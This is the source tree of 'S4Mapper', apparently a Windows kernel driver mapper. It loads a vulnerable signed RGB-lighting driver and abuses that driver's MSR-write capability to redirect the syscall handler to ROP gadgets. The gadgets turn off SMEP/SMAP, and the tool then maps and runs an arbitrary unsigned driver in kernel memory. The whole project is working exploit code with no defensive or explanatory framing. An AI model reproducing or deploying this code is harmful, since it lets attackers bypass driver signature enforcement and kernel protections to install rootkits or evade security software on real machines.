├── README.md ├── S4mapper.sln ├── S4mapper.vcxproj ├── S4mapper.vcxproj.filters ├── S4mapper.vcxproj.user ├── SignalRgbDriver.sys ├── hmdm_ctx.cpp ├── hmdm_ctx.h ├── ia32.hpp ├── loadup.hpp ├── main.cpp ├── msrexec.cpp ├── msrexec.hpp ├── raw_driver.hpp ├── syscall_handler.asm ├── syscall_handler.h ├── utils.hpp └── vdm.hpp /README.md: -------------------------------------------------------------------------------- 1 | # S4Mapper 2 | -------------------------------------------------------------------------------- /S4mapper.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.34114.132 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "S4mapper", "S4mapper.vcxproj", "{CE2C9CF7-F412-475E-BBFB-0A00121264CC}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Release|x64 = Release|x64 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|x64.ActiveCfg = Debug|x64 15 | {CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|x64.Build.0 = Debug|x64 16 | {CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Release|x64.ActiveCfg = Release|x64 17 | {CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Release|x64.Build.0 = Release|x64 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {DA5199F3-85B6-48E3-8F94-FFD39A8E4BB4} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /S4mapper.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 16.0 15 | Win32Proj 16 | {ce2c9cf7-f412-475e-bbfb-0a00121264cc} 17 | physmememsrexec 18 | 10.0 19 | S4mapper 20 | 21 | 22 | 23 | Application 24 | true 25 | v142 26 | Unicode 27 | 28 | 29 | Application 30 | false 31 | v142 32 | true 33 | Unicode 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | true 50 | 51 | 52 | false 53 | 54 | 55 | 56 | Level3 57 | true 58 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 59 | true 60 | stdcpp17 61 | 62 | 63 | Console 64 | true 65 | 66 | 67 | 68 | 69 | Level3 70 | true 71 | true 72 | true 73 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 74 | true 75 | stdcpp17 76 | 77 | 78 | Console 79 | true 80 | true 81 | true 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | Document 102 | 103 | 104 | 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /S4mapper.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | Source Files 19 | 20 | 21 | Source Files 22 | 23 | 24 | 25 | 26 | Header Files 27 | 28 | 29 | Header Files 30 | 31 | 32 | Header Files 33 | 34 | 35 | Header Files 36 | 37 | 38 | Header Files 39 | 40 | 41 | Header Files 42 | 43 | 44 | Header Files 45 | 46 | 47 | Header Files 48 | 49 | 50 | 51 | 52 | Source Files 53 | 54 | 55 | -------------------------------------------------------------------------------- /S4mapper.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /SignalRgbDriver.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gmh5225/S4Mapper/a3effb6fae19f1f16851e70103c89381804fe210/SignalRgbDriver.sys -------------------------------------------------------------------------------- /hmdm_ctx.cpp: -------------------------------------------------------------------------------- 1 | #include "hmdm_ctx.h" 2 | 3 | namespace drv 4 | { 5 | hmdm_ctx::hmdm_ctx(const mapper_routines_t& routines) 6 | : 7 | kalloc(std::get<0>(routines)), 8 | kmemcpy(std::get<1>(routines)) 9 | {} 10 | 11 | auto hmdm_ctx::map_module(drv_buffer_t& drv_buffer, bool zero_headers)->std::pair 12 | { 13 | if (drv_buffer.empty()) 14 | return { {}, {} }; 15 | 16 | const auto dos_header = 17 | reinterpret_cast(drv_buffer.data()); 18 | 19 | const auto nt_header = 20 | reinterpret_cast( 21 | drv_buffer.data() + dos_header->e_lfanew); 22 | 23 | const auto section_header = 24 | reinterpret_cast( 25 | reinterpret_cast(&nt_header->OptionalHeader) + 26 | nt_header->FileHeader.SizeOfOptionalHeader); 27 | 28 | drv_buffer_t image_mapped; 29 | image_mapped.resize(nt_header->OptionalHeader.SizeOfImage); 30 | std::copy_n(drv_buffer.begin(), nt_header->OptionalHeader.SizeOfHeaders, image_mapped.begin()); 31 | 32 | for (auto idx = 0u; idx < nt_header->FileHeader.NumberOfSections; ++idx) 33 | { 34 | const auto& section = section_header[idx]; 35 | const auto target = 36 | reinterpret_cast( 37 | image_mapped.data() + section.VirtualAddress); 38 | 39 | const auto source = 40 | reinterpret_cast( 41 | dos_header + section.PointerToRawData); 42 | 43 | std::copy_n(drv_buffer.begin() + section.PointerToRawData, 44 | section.SizeOfRawData, image_mapped.begin() + section.VirtualAddress); 45 | } 46 | 47 | const auto alloc_base = 48 | reinterpret_cast( 49 | kalloc(nt_header->OptionalHeader.SizeOfImage)); 50 | 51 | DBG_PRINT("> alloc base -> 0x%p\n", alloc_base); 52 | 53 | if (!alloc_base) 54 | return { {}, {} }; 55 | 56 | resolve_imports(image_mapped); 57 | fix_relocs(image_mapped, alloc_base); 58 | 59 | if (zero_headers) 60 | { 61 | const auto module_base = 62 | nt_header->OptionalHeader.SizeOfHeaders + image_mapped.data(); 63 | 64 | const auto module_size = 65 | nt_header->OptionalHeader.SizeOfImage - 66 | nt_header->OptionalHeader.SizeOfHeaders; 67 | 68 | kmemcpy(alloc_base + nt_header->OptionalHeader.SizeOfHeaders, module_base, module_size); 69 | } 70 | else 71 | { 72 | const auto module_size = 73 | nt_header->OptionalHeader.SizeOfImage; 74 | 75 | kmemcpy(alloc_base, image_mapped.data(), module_size); 76 | } 77 | 78 | return 79 | { 80 | reinterpret_cast(alloc_base), 81 | reinterpret_cast(alloc_base + 82 | nt_header->OptionalHeader.AddressOfEntryPoint) 83 | }; 84 | } 85 | 86 | auto hmdm_ctx::fix_relocs(drv_buffer_t& drv_buffer, uint8_t* alloc_base) const -> void 87 | { 88 | const auto dos_header = 89 | reinterpret_cast(drv_buffer.data()); 90 | 91 | const auto nt_header = 92 | reinterpret_cast( 93 | drv_buffer.data() + dos_header->e_lfanew); 94 | 95 | const auto base_reloc_dir = 96 | reinterpret_cast( 97 | &nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]); 98 | 99 | if (base_reloc_dir->VirtualAddress) 100 | { 101 | auto reloc = 102 | reinterpret_cast( 103 | drv_buffer.data() + base_reloc_dir->VirtualAddress); 104 | 105 | for (auto current_size = 0u; current_size < base_reloc_dir->Size;) 106 | { 107 | const auto reloc_count = 108 | (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(std::uint16_t); 109 | 110 | auto reloc_data = reinterpret_cast( 111 | reinterpret_cast(reloc) + sizeof(IMAGE_BASE_RELOCATION)); 112 | 113 | const auto reloc_base = 114 | drv_buffer.data() + reloc->VirtualAddress; 115 | 116 | for (auto idx = 0u; idx < reloc_count; ++idx, ++reloc_data) 117 | { 118 | const auto data = *reloc_data; 119 | const auto type = data >> 12; 120 | const auto offset = data & 0xFFF; 121 | 122 | switch (type) 123 | { 124 | case IMAGE_REL_BASED_ABSOLUTE: 125 | break; 126 | case IMAGE_REL_BASED_DIR64: 127 | { 128 | const auto rva = reinterpret_cast(reloc_base + offset); 129 | 130 | *rva = reinterpret_cast( 131 | alloc_base + (*rva - nt_header->OptionalHeader.ImageBase)); 132 | break; 133 | } 134 | default: 135 | return; 136 | } 137 | } 138 | 139 | current_size += reloc->SizeOfBlock; 140 | reloc = reinterpret_cast(reloc_data); 141 | } 142 | } 143 | } 144 | 145 | auto hmdm_ctx::resolve_imports(drv_buffer_t& drv_buffer) const -> void 146 | { 147 | ULONG size; 148 | auto import_descriptors = static_cast( 149 | ::ImageDirectoryEntryToData(drv_buffer.data(), 150 | TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); 151 | 152 | if (!import_descriptors) 153 | return; 154 | 155 | for (; import_descriptors->Name; import_descriptors++) 156 | { 157 | IMAGE_THUNK_DATA* image_thunk_data; 158 | const auto module_name = 159 | reinterpret_cast( 160 | drv_buffer.data() + import_descriptors->Name); 161 | 162 | if (import_descriptors->OriginalFirstThunk) 163 | image_thunk_data = 164 | reinterpret_cast( 165 | drv_buffer.data() + import_descriptors->OriginalFirstThunk); 166 | else 167 | image_thunk_data = 168 | reinterpret_cast( 169 | drv_buffer.data() + import_descriptors->FirstThunk); 170 | 171 | auto image_func_data = 172 | reinterpret_cast( 173 | drv_buffer.data() + import_descriptors->FirstThunk); 174 | 175 | for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++) 176 | { 177 | const auto image_import_by_name = 178 | reinterpret_cast( 179 | drv_buffer.data() + (*(DWORD*)image_thunk_data)); 180 | 181 | const auto name_of_import = 182 | static_cast(image_import_by_name->Name); 183 | 184 | image_func_data->u1.Function = 185 | utils::kmodule::get_export( 186 | module_name, name_of_import); 187 | 188 | DBG_PRINT("> resolved import... %s!%s -> 0x%p\n", 189 | module_name, name_of_import, image_func_data->u1.Function); 190 | } 191 | } 192 | } 193 | } -------------------------------------------------------------------------------- /hmdm_ctx.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "utils.hpp" 3 | #include 4 | #include 5 | 6 | #pragma comment(lib, "Dbghelp.lib") 7 | namespace drv 8 | { 9 | using kalloc_t = std::function; 10 | using kmemcpy_t = std::function; 11 | using kmemset_t = std::function; 12 | 13 | using image_base_t = std::uintptr_t; 14 | using image_entry_t = std::uintptr_t; 15 | using mapper_routines_t = std::pair; 16 | using drv_buffer_t = std::vector; 17 | 18 | class hmdm_ctx 19 | { 20 | public: 21 | explicit hmdm_ctx(const mapper_routines_t& routines); 22 | auto map_module(drv_buffer_t& drv_buffer, bool zero_headers = true)->std::pair; 23 | 24 | const kalloc_t kalloc; 25 | const kmemcpy_t kmemcpy; 26 | private: 27 | auto resolve_imports(drv_buffer_t& drv_buffer) const -> void; 28 | auto fix_relocs(drv_buffer_t& drv_buffer, uint8_t* alloc_base) const -> void; 29 | }; 30 | } -------------------------------------------------------------------------------- /loadup.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | MIT License 3 | 4 | Copyright (c) 2020 xerox 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | */ 24 | 25 | 26 | #pragma once 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #pragma comment(lib, "ntdll.lib") 36 | extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING); 37 | extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING); 38 | 39 | namespace driver 40 | { 41 | namespace util 42 | { 43 | inline auto delete_service_entry(const std::string& service_name) -> bool 44 | { 45 | HKEY reg_handle; 46 | static const std::string reg_key("System\\CurrentControlSet\\Services\\"); 47 | 48 | auto result = RegOpenKeyA( 49 | HKEY_LOCAL_MACHINE, 50 | reg_key.c_str(), 51 | ®_handle 52 | ); 53 | 54 | return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && 55 | ERROR_SUCCESS == RegCloseKey(reg_handle);; 56 | } 57 | 58 | inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool 59 | { 60 | HKEY reg_handle; 61 | std::string reg_key("System\\CurrentControlSet\\Services\\"); 62 | reg_key += service_name; 63 | 64 | auto result = RegCreateKeyA( 65 | HKEY_LOCAL_MACHINE, 66 | reg_key.c_str(), 67 | ®_handle 68 | ); 69 | 70 | if (result != ERROR_SUCCESS) 71 | return false; 72 | 73 | std::uint8_t type_value = 1; 74 | result = RegSetValueExA( 75 | reg_handle, 76 | "Type", 77 | NULL, 78 | REG_DWORD, 79 | &type_value, 80 | 4u 81 | ); 82 | 83 | if (result != ERROR_SUCCESS) 84 | return false; 85 | 86 | std::uint8_t error_control_value = 3; 87 | result = RegSetValueExA( 88 | reg_handle, 89 | "ErrorControl", 90 | NULL, 91 | REG_DWORD, 92 | &error_control_value, 93 | 4u 94 | ); 95 | 96 | if (result != ERROR_SUCCESS) 97 | return false; 98 | 99 | std::uint8_t start_value = 3; 100 | result = RegSetValueExA( 101 | reg_handle, 102 | "Start", 103 | NULL, 104 | REG_DWORD, 105 | &start_value, 106 | 4u 107 | ); 108 | 109 | if (result != ERROR_SUCCESS) 110 | return false; 111 | 112 | result = RegSetValueExA( 113 | reg_handle, 114 | "ImagePath", 115 | NULL, 116 | REG_SZ, 117 | (std::uint8_t*)drv_path.c_str(), 118 | drv_path.size() 119 | ); 120 | 121 | if (result != ERROR_SUCCESS) 122 | return false; 123 | 124 | return ERROR_SUCCESS == RegCloseKey(reg_handle); 125 | } 126 | 127 | inline auto enable_privilege(const std::wstring& privilege_name) -> bool 128 | { 129 | HANDLE token_handle = nullptr; 130 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) 131 | return false; 132 | 133 | LUID luid{}; 134 | if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) 135 | return false; 136 | 137 | TOKEN_PRIVILEGES token_state{}; 138 | token_state.PrivilegeCount = 1; 139 | token_state.Privileges[0].Luid = luid; 140 | token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 141 | 142 | if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) 143 | return false; 144 | 145 | CloseHandle(token_handle); 146 | return true; 147 | } 148 | 149 | inline auto get_service_image_path(const std::string& service_name) -> std::string 150 | { 151 | HKEY reg_handle; 152 | DWORD bytes_read; 153 | char image_path[0xFF]; 154 | static const std::string reg_key("System\\CurrentControlSet\\Services\\"); 155 | 156 | auto result = RegOpenKeyA( 157 | HKEY_LOCAL_MACHINE, 158 | reg_key.c_str(), 159 | ®_handle 160 | ); 161 | 162 | result = RegGetValueA( 163 | reg_handle, 164 | service_name.c_str(), 165 | "ImagePath", 166 | REG_SZ, 167 | NULL, 168 | image_path, 169 | &bytes_read 170 | ); 171 | 172 | RegCloseKey(reg_handle); 173 | return std::string(image_path); 174 | } 175 | } 176 | 177 | inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS 178 | { 179 | if (!util::enable_privilege(L"SeLoadDriverPrivilege")) 180 | return false; 181 | 182 | if (!util::create_service_entry("\\??\\" + 183 | std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) 184 | return false; 185 | 186 | std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); 187 | reg_path += service_name; 188 | 189 | ANSI_STRING driver_rep_path_cstr; 190 | UNICODE_STRING driver_reg_path_unicode; 191 | 192 | RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); 193 | RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); 194 | return NtLoadDriver(&driver_reg_path_unicode); 195 | } 196 | 197 | inline auto load(const std::vector& drv_buffer) -> std::pair 198 | { 199 | static const auto random_file_name = [](std::size_t length) -> std::string 200 | { 201 | std::srand(std::time(0)); 202 | static const auto randchar = []() -> char 203 | { 204 | const char charset[] = 205 | "0123456789" 206 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 207 | "abcdefghijklmnopqrstuvwxyz"; 208 | const std::size_t max_index = (sizeof(charset) - 1); 209 | return charset[rand() % max_index]; 210 | }; 211 | 212 | std::string str(length, 0); 213 | std::generate_n(str.begin(), length, randchar); 214 | return str; 215 | }; 216 | 217 | const auto service_name = random_file_name(16); 218 | const auto file_path = std::filesystem::temp_directory_path().string() + service_name; 219 | std::ofstream output_file(file_path.c_str(), std::ios::binary); 220 | 221 | output_file.write((char*)drv_buffer.data(), drv_buffer.size()); 222 | output_file.close(); 223 | 224 | return { load(file_path, service_name), service_name }; 225 | } 226 | 227 | inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair 228 | { 229 | std::vector image(buffer, buffer + size); 230 | return load(image); 231 | } 232 | 233 | inline auto unload(const std::string& service_name) -> NTSTATUS 234 | { 235 | std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); 236 | reg_path += service_name; 237 | 238 | ANSI_STRING driver_rep_path_cstr; 239 | UNICODE_STRING driver_reg_path_unicode; 240 | 241 | RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); 242 | RtlAnsiStringToUnicodeString( 243 | &driver_reg_path_unicode, &driver_rep_path_cstr, true); 244 | 245 | const bool unload_result = 246 | NtUnloadDriver(&driver_reg_path_unicode); 247 | 248 | util::delete_service_entry(service_name); 249 | // sometimes you cannot delete the driver off disk because there are still handles open 250 | // to the driver, this means the driver is still loaded into the kernel... 251 | try 252 | { 253 | std::filesystem::remove( 254 | std::filesystem::temp_directory_path() 255 | .string() + service_name); 256 | } 257 | catch (std::exception& e) 258 | { 259 | return STATUS_ABANDONED; 260 | } 261 | return unload_result; 262 | } 263 | } -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include "hmdm_ctx.h" 2 | #include "msrexec.hpp" 3 | #include "vdm.hpp" 4 | 5 | int __cdecl main(int argc, char** argv) 6 | { 7 | std::printf("> SiyahS4ncak...\n"); 8 | if (argc < 2) 9 | { 10 | std::printf("> please provide a path to a driver...\n"); 11 | return -1; 12 | } 13 | 14 | const auto [drv_handle, drv_key, drv_status] = vdm::load_drv(); 15 | if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE) 16 | { 17 | std::printf("> failed to load driver... reason -> 0x%x\n", drv_status); 18 | return -1; 19 | } 20 | 21 | writemsr_t _write_msr = 22 | [&](std::uint32_t key, std::uint64_t value) -> bool 23 | { 24 | return vdm::writemsr(key, value); 25 | }; 26 | 27 | vdm::msrexec_ctx msrexec(_write_msr); 28 | drv::kalloc_t _kalloc = [&](std::size_t size) -> void* 29 | { 30 | void* alloc_base; 31 | msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void 32 | { 33 | using ex_alloc_pool_t = 34 | void* (*)(std::uint32_t, std::size_t); 35 | 36 | const auto ex_alloc_pool = 37 | reinterpret_cast( 38 | get_kroutine(krnl_base, "ExAllocatePool")); 39 | 40 | alloc_base = ex_alloc_pool(NULL, size); 41 | }); 42 | return alloc_base; 43 | }; 44 | 45 | drv::kmemcpy_t _kmemcpy = 46 | [&](void* dest, const void* src, std::size_t size) -> void* 47 | { 48 | void* result = nullptr; 49 | msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void 50 | { 51 | const auto kmemcpy = 52 | reinterpret_cast( 53 | get_kroutine(krnl_base, "memcpy")); 54 | 55 | result = kmemcpy(dest, src, size); 56 | }); 57 | return result; 58 | }; 59 | 60 | drv::drv_buffer_t drv_buffer; 61 | utils::open_binary_file(argv[1], drv_buffer); 62 | drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy }); 63 | 64 | const auto [drv_base, drv_entry] = drv_mapper.map_module(drv_buffer); 65 | std::printf("> driver base -> 0x%p, driver entry -> 0x%p\n", drv_base, drv_entry); 66 | 67 | if (!drv_base || !drv_entry) 68 | { 69 | std::printf("> failed to map driver...\n"); 70 | return -1; 71 | } 72 | 73 | // call driver entry... its up to you to do this using whatever method... 74 | // with VDM you can syscall into it... with msrexec you will use msrexec::exec... 75 | NTSTATUS result; 76 | msrexec.exec([&result, drv_entry = drv_entry, drv_base = drv_base] 77 | (void* krnl_base, get_system_routine_t get_kroutine) -> void 78 | { 79 | using drv_entry_t = NTSTATUS(*)(std::uintptr_t); 80 | result = reinterpret_cast(drv_entry)(drv_base); 81 | }); 82 | 83 | std::printf("> drv entry result -> 0x%x\n", result); 84 | const auto unload_status = vdm::unload_drv(drv_handle, drv_key); 85 | if (unload_status != STATUS_SUCCESS) 86 | { 87 | std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status); 88 | return -1; 89 | } 90 | } -------------------------------------------------------------------------------- /msrexec.cpp: -------------------------------------------------------------------------------- 1 | #include "msrexec.hpp" 2 | 3 | void msrexec_handler(callback_t* callback) 4 | { 5 | // restore LSTAR.... 6 | __writemsr(IA32_LSTAR_MSR, m_system_call); 7 | 8 | // call usermode code... 9 | (*callback)(ntoskrnl_base, get_system_routine); 10 | } 11 | 12 | namespace vdm 13 | { 14 | msrexec_ctx::msrexec_ctx(writemsr_t wrmsr) 15 | : wrmsr(wrmsr) 16 | { 17 | if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget) 18 | if (!find_gadgets()) 19 | DBG_PRINT("> failed to find gadgets...\n"); 20 | 21 | if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call) 22 | if (!find_globals()) 23 | DBG_PRINT("> failed to find globals...\n"); 24 | 25 | cpuid_eax_01 cpuid_info; 26 | __cpuid((int*)&cpuid_info, 1); 27 | 28 | cpuid_eax_07 cpuid_features; 29 | __cpuid((int*)&cpuid_features, 7); 30 | 31 | cr4 cr4_value{}; 32 | cr4_value.debugging_extensions = true; 33 | cr4_value.page_size_extensions = true; 34 | cr4_value.machine_check_enable = true; 35 | 36 | cr4_value.physical_address_extension = 37 | cpuid_info.cpuid_feature_information_edx.physical_address_extension; 38 | 39 | cr4_value.os_fxsave_fxrstor_support = 40 | cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions; 41 | 42 | cr4_value.os_xmm_exception_support = true; 43 | 44 | cr4_value.fsgsbase_enable = 45 | IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE); 46 | 47 | cr4_value.os_xsave = 48 | IsProcessorFeaturePresent(PF_XSAVE_ENABLED); 49 | 50 | cr4_value.pcid_enable = 51 | cpuid_info.cpuid_feature_information_ecx 52 | .process_context_identifiers; 53 | 54 | m_smep_off.flags = cr4_value.flags; 55 | m_smep_off.smep_enable = false; 56 | m_smep_off.smap_enable = false; // newer cpus have this on... 57 | 58 | // WARNING: some virtual machines dont have SMEP... 59 | // my VMWare VM doesnt... nor does my Virtual Box VM... 60 | m_smep_on.flags = cr4_value.flags; 61 | m_smep_on.smep_enable = cpuid_features.ebx.smep; 62 | m_smep_on.smap_enable = cpuid_features.ebx.smap; 63 | 64 | ntoskrnl_base = 65 | reinterpret_cast( 66 | utils::kmodule::get_base("ntoskrnl.exe")); 67 | 68 | get_system_routine = 69 | reinterpret_cast( 70 | utils::kmodule::get_export( 71 | "ntoskrnl.exe", "RtlFindExportedRoutineByName")); 72 | 73 | DBG_PRINT("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget); 74 | DBG_PRINT("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget); 75 | DBG_PRINT("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget); 76 | DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset); 77 | DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset); 78 | DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call); 79 | 80 | DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags); 81 | DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags); 82 | 83 | DBG_PRINT("> check to make sure none of these^ are zero before pressing enter...\n"); 84 | std::getchar(); 85 | } 86 | 87 | auto msrexec_ctx::find_gadgets() -> bool 88 | { 89 | m_mov_cr4_gadget = 90 | utils::rop::find_kgadget( 91 | MOV_CR4_GADGET, "xxxx"); 92 | 93 | if (!m_mov_cr4_gadget) 94 | return {}; 95 | 96 | m_sysret_gadget = 97 | utils::rop::find_kgadget( 98 | SYSRET_GADGET, "xxx"); 99 | 100 | if (!m_sysret_gadget) 101 | return {}; 102 | 103 | m_pop_rcx_gadget = 104 | utils::rop::find_kgadget( 105 | POP_RCX_GADGET, "xx"); 106 | 107 | if (!m_pop_rcx_gadget) 108 | return {}; 109 | 110 | return true; 111 | } 112 | 113 | auto msrexec_ctx::find_globals() -> bool 114 | { 115 | const auto [section_data, section_rva] = 116 | utils::pe::get_section( 117 | reinterpret_cast( 118 | LoadLibraryA("ntoskrnl.exe")), ".text"); 119 | 120 | const auto ki_system_call = 121 | utils::scan(reinterpret_cast( 122 | section_data.data()), section_data.size(), 123 | KI_SYSCALL_SIG, KI_SYSCALL_MASK); 124 | 125 | if (!ki_system_call) 126 | return {}; 127 | 128 | m_system_call = (ki_system_call - 129 | reinterpret_cast( 130 | section_data.data())) + section_rva + 131 | utils::kmodule::get_base("ntoskrnl.exe"); 132 | 133 | /* 134 | .text:0000000140406CC0 KiSystemCall64 135 | .text:0000000140406CC0 0F 01 F8 swapgs 136 | .text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset... 137 | .text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset... 138 | */ 139 | 140 | m_kpcr_rsp_offset = *reinterpret_cast(ki_system_call + 8); 141 | m_kpcr_krsp_offset = *reinterpret_cast(ki_system_call + 17); 142 | 143 | // handle KVA shadowing... if KVA shadowing is 144 | // enabled LSTAR will point at KiSystemCall64Shadow... 145 | SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 }; 146 | 147 | // if SystemKernelVaShadowInformation is not a valid class just 148 | // return true and assume LSTAR points to KiSystemCall64... 149 | if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr))) 150 | { 151 | if (kva_info.KvaShadowFlags.KvaShadowEnabled) 152 | { 153 | const auto [section_data, section_rva] = 154 | utils::pe::get_section( 155 | reinterpret_cast( 156 | LoadLibraryA("ntoskrnl.exe")), "KVASCODE"); 157 | 158 | // no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow... 159 | if (!section_rva || section_data.empty()) 160 | return true; 161 | 162 | const auto ki_system_shadow_call = 163 | utils::scan(reinterpret_cast( 164 | section_data.data()), section_data.size(), 165 | KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK); 166 | 167 | // already set m_syscall_call so we just return true... 168 | if (!ki_system_shadow_call) 169 | return true; 170 | 171 | // else we update m_system_call with KiSystemCall64Shadow... 172 | m_system_call = (ki_system_shadow_call - 173 | reinterpret_cast( 174 | section_data.data())) + section_rva + 175 | utils::kmodule::get_base("ntoskrnl.exe"); 176 | } 177 | } 178 | return true; 179 | } 180 | 181 | void msrexec_ctx::exec(callback_t kernel_callback) 182 | { 183 | const thread_info_t thread_info = 184 | { 185 | GetPriorityClass(GetCurrentProcess()), 186 | GetThreadPriority(GetCurrentThread()) 187 | }; 188 | 189 | SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); 190 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); 191 | 192 | // set LSTAR to first rop gadget... race begins here... 193 | if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget)) 194 | DBG_PRINT("> failed to set LSTAR...\n"); 195 | else 196 | // go go gadget kernel execution... 197 | syscall_wrapper(&kernel_callback); 198 | 199 | SetPriorityClass(GetCurrentProcess(), thread_info.first); 200 | SetThreadPriority(GetCurrentThread(), thread_info.second); 201 | } 202 | 203 | void msrexec_ctx::set_wrmsr(writemsr_t wrmsr) 204 | { this->wrmsr = wrmsr; } 205 | 206 | auto msrexec_ctx::get_wrmsr() -> writemsr_t const 207 | { return this->wrmsr; } 208 